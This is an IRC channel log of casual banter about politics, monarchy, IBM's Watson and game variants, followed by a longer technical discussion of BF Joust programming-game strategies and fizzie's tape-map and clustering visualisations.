03:46:05 <Sgeo> pikhq, sounds like one of the storylines in my head!
03:46:13 <elliott> also, is way more metal. see: horns.
03:46:20 <Sgeo> Well, not quite
03:46:25 <pikhq> I dunno, man. Jesus is pretty fucking metal.
03:47:01 <elliott> pikhq: WELL THEN MAYBE JESUS AND SATAN SHOULD TEAM UP.
03:47:04 <elliott> And have a fucking party.
03:47:07 <elliott> FORM A FUCKING BAND
03:47:17 <elliott> CAN YOU THINK OF ANY DOWNSIDE TO THIS IDEA
03:47:58 <pikhq> Curiously, Japanese depictions of things related to Christianity tend to completely omit Jesus.
03:48:14 <pikhq> Y'know, the one thing really seperating Christianity from a sect of Judaism.
03:48:26 <pikhq> Erm, from being a.
03:50:57 <oerjan> <pikhq> I dunno, man. Jesus is pretty fucking metal. <-- a mecha adonis, you mean?
03:51:26 <elliott> we should ban oerjan .
03:51:28 <elliott> *oerjan.
03:51:48 <oerjan> walk ->
03:52:08 * pikhq declares that Deus Est Machina need be more common.
03:52:28 -!- aloril has joined.
03:54:19 <elliott> omg
03:54:23 <elliott> we need to make a road system
03:54:26 <elliott> based entirely around roundabouts
03:54:27 <elliott> of roundabouts
03:54:29 <elliott> no straights
03:54:31 <elliott> Gregor: WHAT DO YOU THINK
03:56:06 <Sgeo> I feel discriminated against!
03:56:15 <Gregor> We need hover cars.
04:00:21 <pikhq> We need to end use of cars in the US.
04:00:41 <pikhq> Step one: relocate most of the continent.
04:00:58 <quintopia> in case anyone hasn't noticed, the Watson crew are feeling questions in r/IAmA right now
04:01:07 <quintopia> *fielding
04:01:10 <elliott> Everyone sane in the US needs to get out of the US so that we can all forget the US exists :P
04:01:23 <pikhq> And then nuke it.
04:01:28 <pikhq> With the US's own nukes.
04:02:26 <elliott> I have an excellent plan for making the nice parts of the US happy and the bad parts ignorable, but it involves Cascadia, mass migration to several countries, taking over the UK, and requesting that the European Union do something absolutely ridiculous.
04:02:31 <elliott> (I really did work it out.)
04:02:58 <pikhq> That "something ridiculous" is?
04:03:11 <elliott> pikhq: Admit a country that is quite plainly not in Europe.
04:03:34 <pikhq> elliott: Membership in the EU in no way requires being in Europe.
04:03:50 <elliott> pikhq: (The idea was to invade some random European country that nobody cares much about -- say Italy -- whereby invade I mean "everyone migrates there, forms the Invasion Party, and votes for it" -- and then use that EU position to lobby for Canadia's interests.)
04:04:04 <pikhq> This is the official opinion of the European Council, in fact.
04:04:12 <elliott> Canadia being the result of Cascadia joining with Canada to form the Canadian and Cascadian Union, AKA Canadia.
04:04:15 <elliott> pikhq: WELL THAT SIMPLIFIES THINGS.
04:04:54 <coppro> you just need to be European
04:04:56 <elliott> pikhq: (At the very end, Canadia manages to semi-accidentally adopt the UK's royal family, thus inverting the Commonwealth X-D)
04:05:02 <elliott> (By taking over the UK.)
04:05:04 <coppro> quintopia: what is r/IAmA?
04:05:17 <quintopia> http://www.reddit.com/r/IAmA/
04:05:27 <coppro> oh
04:05:45 <coppro> tomorrow I'm flying out of Toronto to Denver; I'm going to ask why I have to go through customs
04:05:52 <pikhq> Denver, eh?
04:06:40 <coppro> yeah, that's the same country as Toronto, right?
04:07:25 <quintopia> they actually explained how it made that mistake today at the lecture
04:07:33 <elliott> what mistake
04:07:53 <coppro> yeah, it was discussed to length at the math society
04:08:01 <quintopia> Watson was confident that it was supposed to be looking for a city in the U.S., and it found evidence both that Toronto was a city, and a U.S. entity.
04:08:05 <pikhq> elliott: To join the EU, a nation must be European *in the judgement of the European Council*.
04:08:13 <elliott> quintopia: X-D
04:08:16 <quintopia> just not enough for it to be sure it was a U.S. city
04:08:21 <pikhq> elliott: This has been interpreted to mean "culturally European".
04:08:24 <quintopia> hence all the question marks
04:08:33 <elliott> pikhq: What the fuck does culturally European mean X-D
04:08:42 <elliott> quintopia: Did it answer "Toronto???????????????????????????"?
04:08:45 <pikhq> elliott: I don't know, ask the European Council.
04:08:49 <quintopia> elliott: yes
04:08:52 <elliott> quintopia: :D
04:08:53 <quintopia> along with a very low wager
04:08:56 <elliott> quintopia: why didn't i watch this
04:09:03 <quintopia> I DUNNO???????????????????????????
04:09:11 <elliott> quintopia: could it not find something that was definitely a U.S. city?
04:09:17 <elliott> seems like the kind of information that would always be included...
04:09:21 -!- sftp has quit (Remote host closed the connection).
04:09:49 <quintopia> elliott: chicago was actually it's second highest rated choice, but it couldn't prove that was a U.S. city either :P
04:09:52 <coppro> pikhq: honestly, I am glad the EU doesn't require actually europeanness
04:09:54 <quintopia> *its
04:09:56 <elliott> nice :D
04:10:02 <pikhq> elliott: And the thing is, this *actually matters*.
04:11:26 <pikhq> Cyprus, an EU member state, is in Asia.
04:11:57 <pikhq> In fact, it's closer to the Middle East than anything else.
04:14:00 <elliott> ...wow :P
04:15:19 <pikhq> Not to mention it's been suggested Israel could join if they, y'know, stop with the apartheid.
04:16:17 <coppro> Canada 4 EU
04:16:35 <Gregor> (Pronounced "CANADA FOR YOU!")
04:17:29 <elliott> Canada for ewwwww.
04:17:40 <pikhq> Also, before 1992 there were no formal requirements for EU membership.
04:18:42 <pikhq> (okay, so it *technically* wasn't the EU until then, but the same damned institutions have existed since the 50s in some form.)
04:19:49 <coppro> if any modern entity goes on to be a world government, it will be the EU
04:20:21 <coppro> (the UN does not count as a world government)
04:20:38 <pikhq> Unless the UN completely reforms itself, that seems quite likely.
04:21:09 <coppro> I'm not saying the EU necessarily will do - I doubt it will. But definitely has the best shot out of anything that currently exists.
04:21:48 <pikhq> There's a few other such things that technically *could*.
04:22:01 <pikhq> But aside from the Commonwealth and the EU, none of them matter at all.
04:22:29 <pikhq> The African Union would if Africa didn't suck so bad. :P
04:22:40 <coppro> The Commonwealth isn't really governmental
04:22:40 <elliott> World government, sounds like a GREAT idea :P
04:22:50 <pikhq> coppro: It's vaguely close.
04:22:56 <pikhq> I'm being loose here. :P
04:23:09 <coppro> I suppose it could be if people really watned
04:23:10 <coppro> *wanted
04:23:19 <coppro> but it's moving away from unity, not towards it
04:23:30 <coppro> yeah, the African Union might if Africa wasn't broken
04:23:36 <pikhq> Actually, it's gotten a few new members.
04:24:10 <pikhq> (there is no requirement that members be a former British colony. At all.)
04:25:06 <coppro> isn't the only requirement the Queen?
04:25:11 <pikhq> No.
04:25:31 <pikhq> Only some Commonwealth nations are monarchies.
04:25:48 <elliott> ur mom is a monarchy
04:25:51 <coppro> ah, neat
04:26:02 <Gregor> The requirement is saying "Yeah, I guess the commonwealth is pretty cool."
04:26:20 <pikhq> Gregor: And the Commonwealth saying "Yeah, I guess that country is pretty cool."
04:26:35 <pikhq> coppro: Though, of course, membership does require some acknowledgement of the UK throne. After all, Her Majesty is Head of the Commonwealth.
04:26:57 <coppro> ah, ok
04:28:04 <elliott> <Country> We cool?
04:28:07 <elliott> <Queen> We cool.
04:28:17 <pikhq> (this role, though, is entirely distinct from any nobility, except by the "coincidence" that it's a hereditary position that started with King George VI, and has the same rules of ascension as the throne.)
04:29:35 <elliott> UTTER COINCIDENCE
04:31:01 <zzo38> If you want to use TeX formats invented by Christians, use Plain TeX. However, I do not think the religion of its author is a good way to decide what to use. I decide to use Plain TeX for its own reasons.
04:31:13 <Gregor> elliott: lol
04:31:21 <elliott> Gregor: wat
04:31:27 <elliott> ...oh.
04:31:38 <elliott> Gregor: was that in reference to the line above the line you made.
04:31:42 <Gregor> At the thing before the last thing you said before I said the last thing I said :P
04:31:49 <elliott> `addquote <zzo38> If you want to use TeX formats invented by Christians, use Plain TeX. However, I do not think the religion of its author is a good way to decide what to use. I decide to use Plain TeX for its own reasons.
04:31:51 <elliott> Gregor: Wat
04:32:17 <HackEgo> 312) <zzo38> If you want to use TeX formats invented by Christians, use Plain TeX. However, I do not think the religion of its author is a good way to decide what to use. I decide to use Plain TeX for its own reasons.
04:32:18 <Gregor> elliott: Exactly.
04:32:29 <elliott> Gregor: You're not secretly zzo38, by any chance?
04:33:52 <zzo38> `quote
04:33:53 <HackEgo> 197) <fizzie> (I've just been playing with myself.)
04:33:54 <pikhq> Why, pray tell, do I find the trappings of nobility so fascinating?
04:34:17 <pikhq> In spite of finding nobility itself a horribly outmoded concept?
04:34:54 <coppro> I'm of the opinion that a constitutional monarchy is a very sane system of government
04:35:04 <elliott> pikhq: Because everyone on IRC has to feel special SOMEHOW :P
04:35:17 <pikhq> elliott: NO I DON'T. BECAUSE I'M SPECIAL.
04:35:21 <pikhq> elliott: :P
04:35:26 <pikhq> coppro: Oh?
04:35:34 <coppro> by investing the reserve power in someone who can lose nothing but face by exercising them, it keeps them from being abused
04:35:57 <elliott> The single advantage of monarchy is that if you don't have it, you get the same worship directed to the upper class and politicians.
04:36:11 <elliott> But that is... very little argument.
04:36:24 <elliott> What coppro said makes no sense; there is no need for power that should never be used to exist.
04:36:43 <zzo38> elliott: Are you sure?
04:36:49 <elliott> zzo38: What?
04:37:06 <pikhq> elliott: And a monarchy is pretty much always in the limelight, giving them little incentive to do things that are remarkably stupid.
04:37:20 <pikhq> Erm, monarch?
04:37:20 <coppro> ^
04:38:05 <pikhq> elliott: It's a hell of a lot easier to respect the nobles of the UK than the more-notorious members of the US upper class, simply by merit of them having *done things worthy of respect*.
04:38:33 <pikhq> And easier still with Japanese nobility, as many of them are published scientists.
04:38:36 <pikhq> :P
04:38:49 <elliott> This debate is rather stillborn as coppro can't see anything I say.
04:38:53 <elliott> So I'll step out.
04:40:12 <pikhq> coppro: Y'know, in the few cases that a monarch in, say, the UK could exercise the reserve power, so could an elected figure.
04:40:16 <pikhq> coppro: Even if the law didn't say so.
04:40:36 <coppro> ^ yes, but they would be more subject to political pressure
04:40:45 <pikhq> coppro: Because, quite obviously, the public would be so in support of it that they wouldn't *give a fuck* about what the legal system says.
04:41:35 <coppro> pikhq: There was a case recently in canada where we came close here
04:41:35 <pikhq> Eh, I guess I'd call a constitutional monarchy "ultimately not worth objecting to much".
04:42:03 <pikhq> Monarch as a mere symbol of the state? Just... Straight-up doesn't matter that much.
04:42:10 <pikhq> Bit extraneous, perhaps, but meh. Whatever.
04:42:16 <coppro> exactly
04:42:52 <pikhq> Though the UK's particular implementation is all sorts of nuts. :P
04:42:59 <coppro> true
04:43:14 <pikhq> The Queen's power is mostly limited by tradition!
04:45:39 <elliott> "Firefox 4 is code-named Tumucumaque, after the world's largest rainforest park."
04:45:48 <elliott> Oh man, that's gonna be a mouthful in Linux title bars.
04:46:02 <elliott> Do you want to set your default browser to Tumucumaque?
04:46:11 <zzo38> `quote
04:46:12 <HackEgo> 102) <virtuhird> Sgeo_: Gregorr: and someone could, by mistake, rewrite psox to be a weak erection if it is... A filename.
04:47:34 <zzo38> Do you know any shogi variants?
04:55:47 <elliott> I am going to bed in like two seconds.
04:56:12 <pikhq> zzo38: Chess.
04:56:20 <elliott> Oh snap.
04:56:49 <zzo38> pikhq: I mean others played like shogi, but different.
04:57:02 <elliott> Chess.
04:57:19 <zzo38> One thing I do not like in chess is the tall pieces, I prefer the flat pieces like Xiangqi and Shogi uses.
04:57:38 <oerjan> Tic-tac-toe.
04:57:47 <oerjan> Like shogi, but _very_ different.
04:58:13 <elliott> :D
04:58:20 <zzo38> Can you design a game a cross between shogi and tic-tac-toe?
04:58:30 <elliott> Yes. It's called shogi-tac-toe.
04:58:36 <elliott> You play a game of shogi and a game of tic-tac-toe simultaneously.
04:58:38 <elliott> Whoever wins one, wins.
04:58:47 <elliott> Any quests or questions?
04:59:30 <zzo38> But tic-tac-toe will end much sooner? And probably ties anyways. So then it is like shogi. Isn't it?
04:59:51 <elliott> Yes.
04:59:53 <elliott> It's like shogi, but different.
04:59:54 <zzo38> Because, if you tie, does the entire game end in a tie, or do you continue playing shogi until someone wins at shogi?
04:59:55 <elliott> And a cross.
04:59:57 <elliott> SO I DID WHAT YOU SAID
04:59:59 <elliott> zzo38: Continue playing.
05:00:06 <elliott> If both tie, both contestants must commit suicide.
05:01:12 -!- quintopia has quit (Ping timeout: 240 seconds).
05:01:34 <zzo38> By putting on your tie too tight? Or in what way?
05:03:06 <elliott> zzo38: What do YOU think?
05:03:58 <zzo38> elliott: I think that unless you specifically want to commit suicide, you won't actually do so because instead you will agree not to.
05:07:03 -!- quintopia has joined.
05:07:12 -!- quintopia has quit (Changing host).
05:07:12 -!- quintopia has joined.
05:16:25 -!- elliott has quit (Ping timeout: 240 seconds).
05:17:03 <zzo38> I think I have now finally finished two files, "texnicard.w" and "texnicard_format.tex". Now I just have to finish "plain.cards" as well.
05:32:02 <Vorpal> <elliott> oerjan: what pace do you recommend i archive-binge iwc btw? i've been meaning to. <-- divide in 7. Spread it out over a single week
05:32:29 <oerjan> um...
05:32:48 <Vorpal> <elliott> wonder if that's still true <-- no, not generally
05:33:29 <oerjan> Vorpal: that seems rather higher than the hundred comics a day he mentioned as too excessive
05:33:47 <Vorpal> <oerjan> with high probability indeed. <-- for a good pun in that context you would need something about statistical significance.
05:33:59 -!- asiekierka has joined.
05:34:11 <Vorpal> oerjan, oh I missed that bit
05:34:39 <oerjan> i.e. that would give about 30 days
05:34:47 <Vorpal> oerjan, I read iwc back then spread out over like two nights
05:34:57 <Vorpal> was summer holidays though I think
05:35:10 <Vorpal> also it is of course significantly longer
05:35:15 <Vorpal> nowdays
05:36:57 <oerjan> i think i started in autumn 2006 when ther were only around 1300 comics
05:37:09 <oerjan> *there
05:37:24 <oerjan> now it's soon about to pass the 3000 mark
05:40:35 <pikhq> zzo38: Bughouse chess.
05:41:38 <Vorpal> bbl university
05:54:16 -!- oerjan has quit (Quit: Good night).
06:18:01 -!- Lymia_ has joined.
06:18:15 -!- Lymia has quit (Disconnected by services).
06:18:17 -!- Lymia_ has changed nick to Lymia.
06:18:18 -!- Lymia has quit (Changing host).
06:18:18 -!- Lymia has joined.
06:38:34 -!- asiekierka has quit (Ping timeout: 246 seconds).
06:40:04 -!- Lymia_ has joined.
06:42:08 -!- Lymia has quit (Disconnected by services).
06:42:09 -!- Lymia_ has changed nick to Lymia.
06:42:10 -!- Lymia has quit (Changing host).
06:42:10 -!- Lymia has joined.
06:44:44 -!- zzo38 has quit (Remote host closed the connection).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:09:41 -!- Lymia_ has joined.
08:09:50 -!- Lymia has quit (Disconnected by services).
08:09:51 -!- Lymia_ has changed nick to Lymia.
08:09:52 -!- Lymia has quit (Changing host).
08:09:52 -!- Lymia has joined.
08:35:50 -!- Lymia_ has joined.
08:37:51 -!- Lymia has quit (Disconnected by services).
08:37:52 -!- Lymia_ has changed nick to Lymia.
08:37:52 -!- Lymia has quit (Changing host).
08:37:52 -!- Lymia has joined.
08:53:33 -!- GreaseMonkey has quit (Quit: The Other Game).
09:38:53 <fizzie> Gregor: http://users.ics.tkk.fi/htkallas/ejsoutTapeMap.js + http://users.ics.tkk.fi/htkallas/egojsout.js.patch.txt -- you get to integrate(tm) it in better if you want to have it. Since the tape-map is a collected thing over all tape lengths and polarities, I didn't put it in with the debugFunctions thing but instead spliced the statistics-collecting in directly.
09:40:29 <fizzie> Looks like http://users.ics.tkk.fi/htkallas/ejstape.png since I just plonked the canvas in wherever it happened to go.
09:41:47 <fizzie> Log-scaling the colors might look interesting too, currently it's often quite a "binary" output.
09:42:03 <fizzie> It's also not the most easiest thing ever to read.
09:43:17 <fizzie> My blue/red colors are the opposite of the animations, also; the red parts are where the left program spent time.
11:04:28 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:04:43 -!- cheater- has joined.
12:54:03 -!- Lymia has quit (Read error: Connection reset by peer).
12:54:33 -!- Lymia has joined.
13:08:00 -!- cheater- has quit (Ping timeout: 240 seconds).
13:10:37 -!- cheater- has joined.
13:13:26 -!- Mathnerd314 has quit (Ping timeout: 250 seconds).
13:14:12 <quintopia> are the white parts the average decoy heights?
13:24:28 <Gregor> fizzie: I predict a whole new game: trying to form pretty pictures in the tapemap :P
13:29:19 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
13:35:18 <Ilari> Urgh. crsc.nist.gov is slow as molasses. And it isn't IPv6 messing things up (I checked the DNS records, it only has A, NSEC and RRSIG records, no AAAA so no IPv6 connection attempts).
13:50:30 -!- azaq23 has joined.
13:53:06 <quintopia> i want a catbus where you can arbitrarily specify the flow of input and output
13:53:46 <quintopia> but every program talking to every program is probably good enough
13:57:07 -!- ais523 has joined.
13:57:22 -!- cheater- has quit (Ping timeout: 240 seconds).
13:58:20 -!- cheater- has joined.
14:08:42 -!- lambdabot has quit (Remote host closed the connection).
14:12:33 -!- lambdabot has joined.
14:17:57 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
14:18:09 <fizzie> quintopia: Here's a good name for the latter utility, sure to gain popular approval: "incest pipe".
14:23:15 -!- sebbu2 has changed nick to sebbu.
14:30:01 <ais523> hmm, I'm still working on defend9.75
14:30:16 <ais523> I got it to beat interior_crocodile_alligator (closely) last night, which is something I didn't even realise was possible
14:33:25 <ais523> I'm testing it against the current hill now
14:33:46 <ais523> it's kind-of slow, as the current version takes over 30 thousand cycles to beat some programs
14:37:17 <Gregor> ais523: Creeping up to tying by cycle limit :P
14:37:25 <Vorpal> ais523, those bfjsout animations for the strategy page demos. Which is the program they compete against?
14:37:35 <Vorpal> I couldn't find it mentioned anywhere on the page
14:37:48 <ais523> Vorpal: it's "simple", it's not a very good program
14:37:56 <ais523> it's designed to be beaten in as many different ways as is possible
14:37:59 <Gregor> I think the golf hill should be 320 characters, 10K cycles >: )
14:38:04 <ais523> in order to demonstrate opposing strategies
14:38:22 <Vorpal> ais523, hm. it does manage to beat shudders iirc
14:38:23 <ais523> Gregor: note that the extraordinary long length was a result of trying to make it fit into egobot
14:38:28 <ais523> it uses a tape cell as a counter rather than ()
14:38:37 <ais523> Vorpal: not always, it depends on tape length
14:38:40 <Deewiant> 320 chars is plenty, allegro is less than half of that
14:38:44 <Gregor> ais523: 'twas an independent thought.
14:38:44 <Vorpal> ais523, anyway, maybe it should be mentioned somewhere on that page. If it really is missing
14:38:53 <Deewiant> Unless you meant expanded
14:38:56 <Vorpal> ais523, is the tape length random or given in the link?
14:39:03 <ais523> Vorpal: the page is a list of notable programs
14:39:12 <ais523> and the tape length is given in the link; it defaults to 25 on sieve polarity
14:39:32 <ais523> sometimes we change it to make sure simple loses
14:40:12 <Vorpal> <Deewiant> 320 chars is plenty, allegro is less than half of that <-- You obviously don't mean that the library allegro is less than that, so which allegro do you mean?
14:40:21 <ais523> the most hilarious defend9.75 result at the moment is the timeout tie against space elevator at one polarity
14:40:29 <Deewiant> What do you think I mean in the context of bfjoust
14:40:40 <Vorpal> ais523, is "sieve polarity" ++ or +- ?
14:40:44 <ais523> I assumed it was a result of being too slow; looking into it, what happens is that they both end up trying to clear the same nonzero cells in the same direction at different speeds
14:40:48 <ais523> in a way that it never hits 0
14:40:50 <ais523> and it's ++
14:41:59 <Vorpal> ais523, I'm curious as to why you call ++ "sieve polarity"... And I also wonder what you would name +-
14:42:11 <ais523> they're elliott's names
14:42:15 <ais523> and he names +- "kettle"
14:42:43 <Vorpal> ais523, any idea as to why he selected those?
14:42:55 <ais523> no
14:44:00 <Vorpal> <fizzie> Looks like http://users.ics.tkk.fi/htkallas/ejstape.png since I just plonked the canvas in wherever it happened to go. <-- the "imagey" bit in that screenshot looks like some sort of procedurally generated pixel art from a demo from the 8-bit era.
14:44:36 <fizzie> Vorpal: Did you see the http://zem.fi/~fis/tapestats_all.png version?
14:44:46 <Vorpal> no. *checks*
14:44:52 -!- iconmaster has joined.
14:45:15 <Vorpal> fizzie, 1) you should make an animation out of these frames. 2) pretty, what does it mean?
14:45:46 <Vorpal> I guess you would need frames in between though to make it smoother
14:46:00 <fizzie> There's an explanation somewhere in the logs, but basically it's tape locations colorized by the amount of time the tape pointer has spent there.
14:46:17 <Vorpal> how fizzie to think of such a thing.
14:46:18 <fizzie> Blue for right program, red for left; and one side of the image for normal polarity, the other for reversed.
14:46:52 <fizzie> There's a larger picture somewhere.
14:46:53 <Vorpal> fizzie, it is interesting how often they are fairly symmetric still.
14:47:01 <fizzie> http://zem.fi/~fis/tapestats2.png
14:47:05 -!- asiekierka has joined.
14:47:06 <fizzie> That one has labels and all.
14:47:10 <ais523> Vorpal: you'd expect that, if it ever got very asymmetric likely one program would win soon after
14:47:13 <ais523> except in rush vs. defence
14:47:33 <Vorpal> ais523, I meant around the y axis
14:48:03 <Vorpal> ais523, as in, they are fairly symmetric when polarity is reversed
14:48:04 <fizzie> Oh, and the tapes are oriented so that the centermost pixel is always the opponent's flag.
14:48:36 <ais523> Vorpal: most programs aren't particularly polarity-sensitive
14:48:42 <Vorpal> hm okay
14:48:59 <ais523> the days where polarity reversal made a huge difference are mostly long gone
14:49:04 <Vorpal> fizzie, also you mirrored the image between the polarities right? Or why else is it a diamond shape
14:49:05 <ais523> although it happens sometimes, especially with the program I'm working on atm
14:49:14 <ais523> which is much more reliable on one polarity than the other
14:50:01 <fizzie> Yes, it's flipped for the other side, to make the center line always the flag.
14:50:17 <Vorpal> ais523, hm you can use unpredictable zeroing patterns to counter stuff like vibrators and shudders right?
14:50:35 <ais523> to some extent
14:50:38 <Vorpal> ais523, I wonder how well an unpredictable shudder pattern would do.
14:50:43 <ais523> and very badly
14:50:50 <Vorpal> ais523, how comes?
14:51:14 <ais523> if the opponent is immune to being tricked off the tape, like most are nowadays (apart from turtles), it'd simply increase the chance you'd lose by chance
14:51:26 <ais523> you can compare good shudder and good antishudder patterns
14:51:31 <Vorpal> fizzie, right. And why is the grey area a triangle?
14:51:33 <ais523> the best shudder patterns are along the lines of --+
14:51:46 <ais523> antishudder, something like -----++++++. works quite nicely
14:53:53 <fizzie> Different Y values correspond to different tape lengths; I've just arbitrarily arranged them from 10 to 30 and then from 30 to 10 (for the other program) in that order.
14:54:14 <Vorpal> fizzie, ah I see
14:54:37 <Vorpal> fizzie, so it was just pure chance it made a nice-looking diamond shape?
14:54:38 <Vorpal> :P
14:55:16 <fizzie> Yes; it used in fact to be a hourglass shape, see http://zem.fi/~fis/tapestats.png
14:55:41 <Vorpal> also nice looking
14:55:47 <Vorpal> fizzie, but it was never a saw tooth one?
14:56:10 <fizzie> Not in anything I copied to the web.
14:56:15 <Vorpal> fizzie, also some of those tape lengths near the middle look too short. And the top ones are cut off?
14:56:27 <fizzie> Hm, in which picture?
14:56:34 <Vorpal> http://zem.fi/~fis/tapestats2.png for example
14:56:45 <Vorpal> fizzie, the outermost lengths seem to be 2?
14:56:49 <fizzie> Huh?
14:56:50 <Vorpal> rather than 9
14:56:59 <Vorpal> fizzie, wait, isn't it one block per cell?
14:57:00 <fizzie> The bottommost length is 10 for both.
14:57:12 <Vorpal> fizzie, oh I read it the wrong way around XD
14:57:12 <fizzie> And the topmost is 30 for both.
14:57:17 <Vorpal> as in, rotated 90 degrees
14:58:34 -!- poiuy_qwert has joined.
14:58:38 <Vorpal> fizzie, anyway, you should do some sort of similarity graph thingy based on this "loitering time" and other parameters :P
14:59:10 <Vorpal> fizzie, in fact it might even work out well enough that it could be used to classify them like ais523 suggested some time ago
14:59:16 <fizzie> I already have that clustering thing.
14:59:21 <fizzie> Based on the scores.
14:59:23 <ais523> yep, I like fizzie's clustering
14:59:29 <Vorpal> fizzie, how did it work out? also link
14:59:34 <fizzie> http://zem.fi/~fis/clust15.png
14:59:41 <quintopia> fizzie: could you explain the tapemap?
15:00:00 <Vorpal> fizzie, pretty graph but what is that one
15:00:06 <Vorpal> as in, how do I read it
15:00:11 <Vorpal> the colours and so on
15:00:45 <Vorpal> ais523, "ais523_definder2"?
15:00:48 <Vorpal> what is a definder?
15:01:09 <ais523> definder's my program that generates flexible defence algorithms
15:01:16 <Vorpal> ah I see
15:01:21 <fizzie> Vorpal: Well, it's a dendrogram; you read it the "usual" way. The vertical bars give a distance between the two things they connect; and it just arbitrarily assigns a single color for all those blocks where the distance is below 0.7*max.
15:01:38 <ais523> and definder2 was what happened when I combined such an algorithm with the concept of defend13
15:01:42 <Vorpal> fizzie, I'm not familiar with dendrograms, however I will google for it
15:01:57 <Vorpal> fizzie, just what is the x axis scale though?
15:02:17 <quintopia> distance. sort of.
15:03:42 <fizzie> Vorpal: Yes, it's a rather arbitrary distance measure. Basically, for two programs A and B, it's the manhattan distance between the vectors you get if you take all (N-2)*(21*2) scores they have in common against other programs, as (-1, 0, 1)-valued vectors.
15:04:04 -!- sftp has joined.
15:04:20 <fizzie> And for two clusters, the distance is the average distance between all pairwise distances.
15:04:25 <Vorpal> fizzie, I guess PCA wouldn't be very helpful here?
15:05:32 <ais523> if you're trying to work out strategies in clustering, treating win/loss/draw as all different might work better
15:05:44 <ais523> as several types of programs are basically incapable of drawing
15:06:00 <Vorpal> fizzie, another thing you could do once you clustered the program is try to show which authors are similar. And possibly also how wide "spread" they have between their programs. For example impomatic's program seem to be a group on their own there.
15:06:32 <fizzie> Vorpal: It (or some other dimensionality reduction algorithms) might provide interesting-looking 2d projections; I did consider it, didn't plot anything yet.
15:06:46 <quintopia> fizzie: fucking tape maps: how do they work?
15:06:50 -!- augur has quit (Remote host closed the connection).
15:07:38 <fizzie> quintopia: Oh, right. Well, it does ltapestats[lp]++; rtapestats[rp]++ (where lp and rp are the left/right tape pointers) on every cycle, then just scales those so that 1 = max and plots all 21*2*2 vectors.
15:08:05 <ais523> !bfjoust defend9.75 http://sprunge.us/VTYQ
15:08:07 <Vorpal> fizzie, link to those diagrams?
15:08:14 <ais523> that's unlikely to go right to the top of the leaderboard, but it should go higher
15:08:34 <fizzie> So if you have a program that sits on the opponent's flag all the time, it'll have a direct vertical line in the middle; while a [-]-suicider will have a /\ sort of shape since it'll be on the "outermost" spot all the time.
15:08:42 <fizzie> Vorpal: Which diagrams?
15:08:49 <Vorpal> fizzie, the ones quintopia mentioned
15:08:54 <Vorpal> or are those the diamonds?
15:09:41 <quintopia> fizzie: the center is opponent flag and the outside edge is home flag?
15:09:47 <fizzie> quintopia: Yes.
15:09:48 <fizzie> Vorpal: Yes.
15:10:24 <quintopia> fizzie: can you make an average decoy size as function of distance from home flag map?
15:12:23 <Vorpal> ais523, anyway I suspect that adding "loitering time" to the classification stuff might give interesting results. Hard to tell though.
15:15:00 <fizzie> quintopia: I'm not quite sure how to detect when a program sets a decoy. Unless you just want something simple, like average over all tape values (for one location) that the programs leave there when moving away from it.
15:15:40 <quintopia> fizzie: exactly. in absolute (distance from zero) size
15:16:52 <fizzie> I'll try to remember to plot one later today when I get home.
15:17:05 <Vorpal> quintopia, how would you show when a program builds a small decoy then goes back and extends it a bit later
15:18:22 <quintopia> Vorpal: perhaps just use the maximum size the cell reaches
15:20:34 <ais523> I think I know how to fix defend9.75 to beat the bondage girls, too
15:20:37 <ais523> or at least some of them
15:21:40 <ais523> but it'll double it in length
15:21:49 <quintopia> :D
15:21:58 <quintopia> go for it. eoubling isn't bad
15:22:11 <fizzie> Vorpal: If I directly add "full tape maps against all shared opponents" as features, I'll get 67200-dimensional feature vectors; that might be overdoing it a bit. But I could try out (either for clustering or for separate plotting) the program's own tape-map averaged over all opponents; that might look interesting too.
15:22:19 <Vorpal> ais523, strange that such a thing could double it in length
15:22:49 <ais523> Vorpal: very large offset clears currently cause misdetections
15:23:04 <ais523> but I have another tripwire that I can use to detect those and switch to a different tape length
15:23:14 <Vorpal> ais523, by defend9.75 or by Gregor's programs?
15:23:18 <fizzie> There seems to be some across-columns correlation for the red halves of http://zem.fi/~fis/tapestats_all.png -- and across-rows for blue -- which would make sense, since the red/blue program is always the same in each column/row.
15:23:34 <ais523> Vorpal: defend9.75 currently picks the wrong strategy against things using unusually large offset clears
15:23:40 <Vorpal> right
15:24:09 <fizzie> Or maybe it's the other way around. Hard to tell from the images, really.
15:24:28 <Vorpal> fizzie, hm you could do some sort of graph to show much much it varies for different programs there
15:25:04 -!- FireFly has joined.
15:25:04 <Vorpal> fizzie, and the blue is definitely horizonal in similary for many
15:25:24 <fizzie> Based on that one row where the red program has just thin / \ stripes (indicating it never moved from its own flag) I'd say one row == same red program.
15:25:40 <fizzie> There is also a corresponding blue \/ column.
15:25:53 <fizzie> (I probably had a suicider on my hill there.)
15:27:08 <Vorpal> fizzie, red looks like it is vertical in many other places though. Such as the one that is almost always a line in the middle with little outside
15:27:27 <Vorpal> column 9 (one-index)
15:27:38 <ais523> heh, defence programs are pretty recognisable
15:27:59 <ais523> full-tape clears have a pretty distinctive view
15:28:02 <quintopia> yep
15:28:11 <fizzie> Yes, there is correlation both ways; I guess some opponents manage to "force" a similar sort of behaviour.
15:28:38 <Vorpal> fizzie, ah could be. Could you plot that tendency to force a behaviour somehow? Would that even be feasible.
15:28:55 <fizzie> ais523: You can also read rule of 9 from the plots.
15:29:02 <Gregor> ais523: Such as furry_furry_strapon_pegging_girls?
15:29:06 <Gregor> It has an offset clear of size 30
15:29:06 <quintopia> yeah. def row=red and col=blue
15:29:22 <ais523> Gregor: yep, 30 * 3 > 85, so it's just enough to defeat me
15:29:23 <Vorpal> Gregor, what is the strategy of that one?
15:29:25 <ais523> but I can detect that separately
15:29:38 <ais523> really, I should call this program defend9.85, it's so focused on the number 85
15:29:45 <Gregor> Vorpal: It's two new strategies plus a hybrid, I'll doc it on the wiki this weekend and/or tonight.
15:29:51 <Vorpal> Gregor, ah
15:29:57 <ais523> ais523_defend9_75.bfjoust vs elliott_interior_crocodile_alligator.bfjoust: >>>>>>><<<<<<<<<<<<<< >>>>>>><<<<<<<<<<<<<< >>>>>>><<<<<<<<<<<<<< >>>>>>><<<<<<<<<<<<<< ais523_defend9_75.bfjoust wins
15:30:07 <ais523> that's the outcome I still can't really believe, even though I know how I did it
15:30:14 <Gregor> Vorpal: The two new strategies are deep poke (appropriate for the name) and breadcrumbs.
15:30:18 <ais523> beating alligators should be nearly impossible for defend9.75
15:30:31 <Vorpal> Gregor, mhm
